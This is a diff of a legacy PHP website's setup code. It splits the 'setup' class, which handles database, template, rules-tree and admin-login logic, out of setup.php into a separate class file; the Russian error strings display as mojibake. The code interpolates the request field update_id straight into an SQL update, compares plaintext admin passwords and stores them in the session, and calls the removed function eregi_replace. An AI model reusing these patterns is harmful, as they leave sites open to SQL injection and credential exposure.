| 125 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | |
| 126 | + elseif ($data['url_action'] == $this->rules) | |
| 127 | + $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | |
| 128 | + } | |
| 129 | + if (isset ($data['name'])) | |
| 130 | + { | |
| 131 | + if (! preg_match ("/^.{1,50}$/i", $data['name'])) | |
| 132 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | |
| 133 | + } | |
| 134 | + return (count ($this->error)) ? true : false; | |
| 135 | + } | |
| 136 | + | |
| 137 | + function rulesSaveAction ($data) | |
| 138 | + { | |
| 139 | + $id = (isset ($data['action_id']) && $data['action_id'] > 0) ? $data['action_id'] : 1; | |
| 140 | + $fields_values = array ( | |
| 141 | + "parent_id" => $id, | |
| 142 | + "action" => $data['url_action'], | |
| 143 | + "name" => $data['name'], | |
| 144 | + "name_ukr" => $data['name_ukr'], | |
| 145 | + "title" => $data['title'], | |
| 146 | + "title_ukr" => $data['title_ukr'], | |
| 147 | + "about" => $data['about'], | |
| 148 | + "about_ukr" => $data['about_ukr'], | |
| 149 | + "description" => $data['description'], | |
| 150 | + "description_ukr" => $data['description_ukr'], | |
| 151 | + "keywords" => $data['keywords'], | |
| 152 | + "keywords_ukr" => $data['keywords_ukr'], | |
| 153 | + "modul_id" => $data['modul_id'] | |
| 154 | + ); | |
| 155 | + | |
| 156 | + if (isset ($data['update_id']) && $data['update_id'] > 0) | |
| 157 | + { | |
| 158 | + $this->db->autoExecute ("rules", $fields_values, DB_AUTOQUERY_UPDATE, "id={$data['update_id']}"); | |
| 159 | + } | |
| 160 | + else | |
| 161 | + { | |
| 162 | + $this->tree->insert ($id, $fields_values); | |
| 163 | + } | |
| 164 | + } | |
| 165 | + | |
| 166 | + function viewRules () | |
| 167 | + { | |
| 168 | + $sql = "select * from rules where _level>0 ORDER BY _left"; | |
| 169 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | |
| 170 | + $this->tpl->assign ('rules', $row); | |
| 171 | + } | |
| 172 | + | |
| 173 | + function viewRulesBegin () | |
| 174 | + { | |
| 175 | + $sql = "select * from rules where parent_id=1 ORDER BY _left"; | |
| 176 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | |
| 177 | + $this->tpl->assign ('rules_begin', $row); | |
| 178 | + } | |
| 179 | + | |
| 180 | + function viewRulesParent ($id = 2) | |
| 181 | + { | |
| 182 | + $sql = "select * from rules where parent_id=? ORDER BY _left"; | |
| 183 | + $row = $this->db->getAll ($sql, array ( | |
| 184 | + $id | |
| 185 | + ), DB_FETCHMODE_ASSOC); | |
| 186 | + $this->tpl->assign ('rules_parent', $row); | |
| 187 | + } | |
| 188 | + | |
| 189 | + function viewOneRules ($id) | |
| 190 | + { | |
| 191 | + $sql = "select * from rules where id=? limit 1"; | |
| 192 | + $row = $this->db->getRow ($sql, array ( | |
| 193 | + $id | |
| 194 | + ), DB_FETCHMODE_ASSOC); | |
| 195 | + $this->tpl->assign ('rules_one', $row); | |
| 196 | + } | |
| 197 | + | |
| 198 | + function linkLang () | |
| 199 | + { | |
| 200 | + $REQUEST_URI = substr (str_replace (array ( | |
| 201 | + "/ukr", | |
| 202 | + "/ru", | |
| 203 | + "/eng", | |
| 204 | + "lang=ukr", | |
| 205 | + "lang=ru", | |
| 206 | + "lang=eng" | |
| 207 | + ), null, $_SERVER['REQUEST_URI']), 1); | |
| 208 | + /* | |
| 209 | + * $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | |
| 210 | + * $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | |
| 211 | + * $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | |
| 212 | + */ | |
| 213 | + $REQUEST_URI = eregi_replace ("^ucse\/", null, $REQUEST_URI); | |
| 214 | + $link_ukr = "ukr/" . $REQUEST_URI; | |
| 215 | + $link_rus = $REQUEST_URI; | |
| 216 | + | |
| 217 | + $this->tpl->assign ('link_rus', $link_rus); | |
| 218 | + $this->tpl->assign ('link_ukr', $link_ukr); | |
| 219 | + | |
| 220 | + /* | |
| 221 | + * $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | |
| 222 | + * $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | |
| 223 | + * $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | |
| 224 | + */ | |
| 225 | + } | |
| 226 | + | |
| 227 | + function rulesDelete ($id) | |
| 228 | + { | |
| 229 | + $this->tree->delete ($id); | |
| 230 | + } | |
| 231 | + | |
| 232 | + /** | |
| 233 | + * Çàãðóæàåì ÷òî íàäî äëÿ ñàéòà | |
| 234 | + */ | |
| 235 | + function assignMainVars () | |
| 236 | + { | |
| 237 | + // ÑÍÅÃ | |
| 238 | + $objExtra = $this->setupClass ('Extra'); | |
| 239 | + $SNOW = $objExtra->getStatusIdByName('SNOW') == 1 ? $objExtra->displaySnow() : ''; | |
| 240 | + | |
| 241 | + $this->tpl->assign ('SNOW', $SNOW); | |
| 242 | + } | |
| 243 | + | |
| 244 | + function meta () | |
| 245 | + { | |
| 246 | + $this->tpl->assign ('meta', $this->meta); | |
| 247 | + } | |
| 248 | + | |
| 249 | + function error () | |
| 250 | + { | |
| 251 | + $this->tpl->assign ('error', $this->error); | |
| 252 | + } | |
| 253 | + | |
| 254 | + function displayRules () | |
| 255 | + { | |
| 256 | + $this->tpl->assign ('action_modules', $this->db->getAll ("select * from modules", array (), DB_FETCHMODE_ASSOC)); | |
| 257 | + $this->tpl->assign ('tpl', "rules.tpl"); | |
| 258 | + } | |
| 259 | + | |
| 260 | + function displayAdmin () | |
| 261 | + { | |
| 262 | + $this->tpl->display ("admin.tpl"); | |
| 263 | + } | |
| 264 | + | |
| 265 | + function display () | |
| 266 | + { | |
| 267 | + $this->tpl->display ("index.tpl"); | |
| 268 | + } | |
| 269 | +} | ... | ... |
libs/setup.php
| 1 | 1 | <?php |
| 2 | -//set_time_limit(300); | |
| 3 | - | |
| 4 | - | |
| 5 | -setlocale(LC_ALL, "ru_RU.KOI8-R"); | |
| 6 | - | |
| 7 | -require($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | |
| 8 | - | |
| 9 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | |
| 10 | - | |
| 11 | -define('DB_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | |
| 12 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | |
| 13 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | |
| 14 | - | |
| 15 | -define('PAGER_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | |
| 16 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | |
| 17 | - | |
| 18 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | |
| 19 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | |
| 20 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | |
| 21 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | |
| 22 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | |
| 23 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | |
| 24 | - | |
| 25 | -define('SMARTY_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | |
| 26 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | |
| 27 | - | |
| 28 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | |
| 29 | - | |
| 30 | -define('HTTP_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | |
| 31 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | |
| 32 | - | |
| 33 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | |
| 34 | - | |
| 35 | - | |
| 36 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | |
| 37 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | |
| 38 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | |
| 39 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | |
| 40 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | |
| 41 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | |
| 42 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | |
| 43 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | |
| 44 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | |
| 45 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | |
| 46 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | |
| 47 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | |
| 48 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | |
| 49 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | |
| 50 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | |
| 51 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | |
| 52 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | |
| 53 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | |
| 54 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | |
| 55 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | |
| 56 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | |
| 57 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | |
| 58 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | |
| 59 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | |
| 60 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | |
| 61 | - | |
| 62 | -class setup{ | |
| 63 | - var $db = null; | |
| 64 | - var $tpl = null; | |
| 65 | - var $error = array(); | |
| 66 | - var $meta = array(); | |
| 67 | - var $admin = null; | |
| 68 | - var $rules = "rules"; | |
| 69 | - var $tree = null; | |
| 70 | - var $cache = null; | |
| 71 | - | |
| 72 | - | |
| 73 | - function setup($admin = false){ | |
| 74 | - $this->admin = $admin; | |
| 75 | - switch($this->admin){ | |
| 76 | - case false : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | |
| 77 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | |
| 78 | - break; | |
| 79 | - case true : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | |
| 80 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | |
| 81 | - break; | |
| 82 | - } | |
| 83 | - | |
| 84 | - $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | |
| 85 | - $this->db = DB::connect($connect); | |
| 86 | - if (PEAR::isError($this->db)) die($this->db->getMessage()); | |
| 87 | - $this->db->query("set names cp1251"); | |
| 88 | - | |
| 89 | - $this->tree = new CDBTree($this->db, 'rules', 'id'); | |
| 90 | - | |
| 91 | - $this->cache = new Cache; | |
| 92 | - $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | |
| 93 | - | |
| 94 | - $this->tpl = new Smarty; | |
| 95 | - $this->tpl->template_dir = $template_dir; | |
| 96 | - $this->tpl->compile_dir = $compile_dir; | |
| 97 | - $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | |
| 98 | - } | |
| 99 | - | |
| 100 | - function setupClass($nameClass){ | |
| 101 | - return new $nameClass($this->db,$this->tpl,$this->error,$this->cache); | |
| 102 | - } | |
| 103 | - | |
| 104 | - function isAdminUser($user = array()){ | |
| 105 | - | |
| 106 | - if((isset($user['login']) && $user['login']==ADMIN_USER) && (isset($user['psw']) && $user['psw']==ADMIN_PSW)){ | |
| 107 | - $_SESSION['admin']['login'] = $user['login']; | |
| 108 | - $_SESSION['admin']['psw'] = $user['psw']; | |
| 109 | - } | |
| 110 | - | |
| 111 | - if((isset($_SESSION['admin']['login']) && $_SESSION['admin']['login']==ADMIN_USER) && (isset($_SESSION['admin']['psw']) && $_SESSION['admin']['psw']==ADMIN_PSW))return true; | |
| 112 | - | |
| 113 | - return false; | |
| 114 | - } | |
| 115 | - | |
| 116 | - function AdminUserExit(){ | |
| 117 | - unset($_SESSION['admin']); | |
| 118 | - } | |
| 119 | - | |
| 120 | - | |
| 121 | - function getRulesOne($action,$lang = "ru"){ | |
| 122 | - $sql = "SELECT A.id,A.action,M.modul"; | |
| 123 | - if($lang=='ukr')$sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | |
| 124 | - else $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | |
| 125 | - $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | |
| 126 | - $row = $this->db->getRow($sql,array($action),DB_FETCHMODE_ASSOC); | |
| 127 | - $this->meta = array("title"=>$row['title'],"keywords"=>$row['keywords'],"description"=>$row['description'],"about"=>$row['about']); | |
| 128 | - $this->tpl->assign('rules_info_one',$row); | |
| 129 | - $this->tpl->assign('lang',$lang); | |
| 130 | - $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | |
| 131 | - $this->tpl->assign('lang_prefix',$lang_prefix); | |
| 132 | - return $row; | |
| 133 | - } | |
| 134 | - /* | |
| 135 | - function includesElements(){ | |
| 136 | - $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | |
| 137 | - $includes_dir = opendir($dir); | |
| 138 | - while ( ($inc_file = readdir($includes_dir)) != false ) | |
| 139 | - if (strstr($inc_file,".php")) | |
| 140 | - { | |
| 141 | - include($dir . $inc_file); | |
| 142 | - } | |
| 143 | - } */ | |
| 144 | - | |
| 145 | - function trim(&$data){ | |
| 146 | - foreach($data as $key=>$value){ | |
| 147 | - if(is_array($data[$key]))$this->trim($data[$key]); | |
| 148 | - else $data[$key] = trim($value); | |
| 149 | - } | |
| 150 | - } | |
| 151 | - | |
| 152 | - function valid($data){ | |
| 153 | - if(isset($data['url_action'])){ | |
| 154 | - if( !preg_match("/^.{1,20}$/i",$data['url_action']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | |
| 155 | - elseif($data['url_action'] == $this->rules) $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | |
| 156 | - } | |
| 157 | - if(isset($data['name'])){ | |
| 158 | - if( !preg_match("/^.{1,50}$/i",$data['name']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | |
| 159 | - } | |
| 160 | - return ( count($this->error) ) ? true : false; | |
| 161 | - } | |
| 162 | - | |
| 163 | - function rulesSaveAction($data){ | |
| 164 | - $id = (isset($data['action_id']) && $data['action_id']>0) ? $data['action_id'] : 1; | |
| 165 | - $fields_values = array( | |
| 166 | - "parent_id"=>$id | |
| 167 | - ,"action"=>$data['url_action'] | |
| 168 | - ,"name"=>$data['name'] | |
| 169 | - ,"name_ukr"=>$data['name_ukr'] | |
| 170 | - ,"title"=>$data['title'] | |
| 171 | - ,"title_ukr"=>$data['title_ukr'] | |
| 172 | - ,"about"=>$data['about'] | |
| 173 | - ,"about_ukr"=>$data['about_ukr'] | |
| 174 | - ,"description"=>$data['description'] | |
| 175 | - ,"description_ukr"=>$data['description_ukr'] | |
| 176 | - ,"keywords"=>$data['keywords'] | |
| 177 | - ,"keywords_ukr"=>$data['keywords_ukr'] | |
| 178 | - ,"modul_id"=>$data['modul_id'] | |
| 179 | - ); | |
| 180 | - if(isset($data['update_id']) && $data['update_id']>0){ | |
| 181 | - $this->db->autoExecute("rules", $fields_values, DB_AUTOQUERY_UPDATE,"id={$data['update_id']}"); | |
| 182 | - }else{ | |
| 183 | - $this->tree->insert($id,$fields_values); | |
| 184 | - } | |
| 185 | - } | |
| 186 | - | |
| 187 | - function viewRules(){ | |
| 188 | - $sql = "select * from rules where _level>0 ORDER BY _left"; | |
| 189 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | |
| 190 | - $this->tpl->assign('rules',$row); | |
| 191 | - } | |
| 192 | - | |
| 193 | - function viewRulesBegin(){ | |
| 194 | - $sql = "select * from rules where parent_id=1 ORDER BY _left"; | |
| 195 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | |
| 196 | - $this->tpl->assign('rules_begin',$row); | |
| 197 | - } | |
| 198 | - | |
| 199 | - function viewRulesParent($id = 2){ | |
| 200 | - $sql = "select * from rules where parent_id=? ORDER BY _left"; | |
| 201 | - $row = $this->db->getAll($sql,array($id),DB_FETCHMODE_ASSOC); | |
| 202 | - $this->tpl->assign('rules_parent',$row); | |
| 203 | - } | |
| 204 | - | |
| 205 | - function viewOneRules($id){ | |
| 206 | - $sql = "select * from rules where id=? limit 1"; | |
| 207 | - $row = $this->db->getRow($sql,array($id),DB_FETCHMODE_ASSOC); | |
| 208 | - $this->tpl->assign('rules_one',$row); | |
| 209 | - } | |
| 210 | - | |
| 211 | - function linkLang(){ | |
| 212 | - $REQUEST_URI = substr(str_replace(array("/ukr","/ru","/eng","lang=ukr","lang=ru","lang=eng"),null,$_SERVER['REQUEST_URI']),1); | |
| 213 | - /* | |
| 214 | - $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | |
| 215 | - $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | |
| 216 | - $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | |
| 217 | - */ | |
| 218 | - $REQUEST_URI = eregi_replace("^ucse\/", null, $REQUEST_URI); | |
| 219 | - $link_ukr = "ukr/" . $REQUEST_URI; | |
| 220 | - $link_rus = $REQUEST_URI; | |
| 221 | - | |
| 222 | - $this->tpl->assign('link_rus', $link_rus ); | |
| 223 | - $this->tpl->assign('link_ukr', $link_ukr ); | |
| 224 | - | |
| 225 | - /* | |
| 226 | - $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | |
| 227 | - $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | |
| 228 | - $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | |
| 229 | - */ | |
| 230 | - } | |
| 231 | - | |
| 232 | - function rulesDelete($id){ | |
| 233 | - $this->tree->delete($id); | |
| 234 | - } | |
| 235 | - | |
| 236 | - function meta(){ | |
| 237 | - $this->tpl->assign('meta',$this->meta); | |
| 238 | - } | |
| 239 | - | |
| 240 | - function error(){ | |
| 241 | - $this->tpl->assign('error',$this->error); | |
| 242 | - } | |
| 243 | - | |
| 244 | - function displayRules(){ | |
| 245 | - $this->tpl->assign('action_modules',$this->db->getAll("select * from modules",array(),DB_FETCHMODE_ASSOC)); | |
| 246 | - $this->tpl->assign('tpl',"rules.tpl"); | |
| 247 | - } | |
| 248 | - | |
| 249 | - function displayAdmin(){ | |
| 250 | - $this->tpl->display("admin.tpl"); | |
| 251 | - } | |
| 252 | - | |
| 253 | - function display(){ | |
| 254 | - $this->tpl->display("index.tpl"); | |
| 255 | - } | |
| 256 | - | |
| 257 | -} | |
| 258 | - | |
| 2 | +// set_time_limit(300); | |
| 3 | +setlocale (LC_ALL, "ru_RU.KOI8-R"); | |
| 4 | + | |
| 5 | +define ('DB_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | |
| 6 | +define ('PAGER_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | |
| 7 | +define ('SMARTY_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | |
| 8 | +define ('HTTP_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | |
| 9 | + | |
| 10 | +require ($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | |
| 11 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | |
| 12 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | |
| 13 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | |
| 14 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | |
| 15 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | |
| 16 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | |
| 17 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | |
| 18 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | |
| 19 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | |
| 20 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | |
| 21 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | |
| 22 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | |
| 23 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | |
| 24 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | |
| 25 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | |
| 26 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | |
| 27 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | |
| 28 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | |
| 29 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | |
| 30 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | |
| 31 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | |
| 32 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | |
| 33 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | |
| 34 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | |
| 35 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | |
| 36 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | |
| 37 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | |
| 38 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | |
| 39 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | |
| 40 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | |
| 41 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | |
| 42 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | |
| 43 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | |
| 44 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | |
| 45 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | |
| 46 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | |
| 47 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | |
| 48 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | |
| 49 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | |
| 50 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/extra.class.php"); | |
| 51 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/setup.class.php"); | |
| 259 | 52 | ?> |
| 260 | 53 | \ No newline at end of file | ... | ... |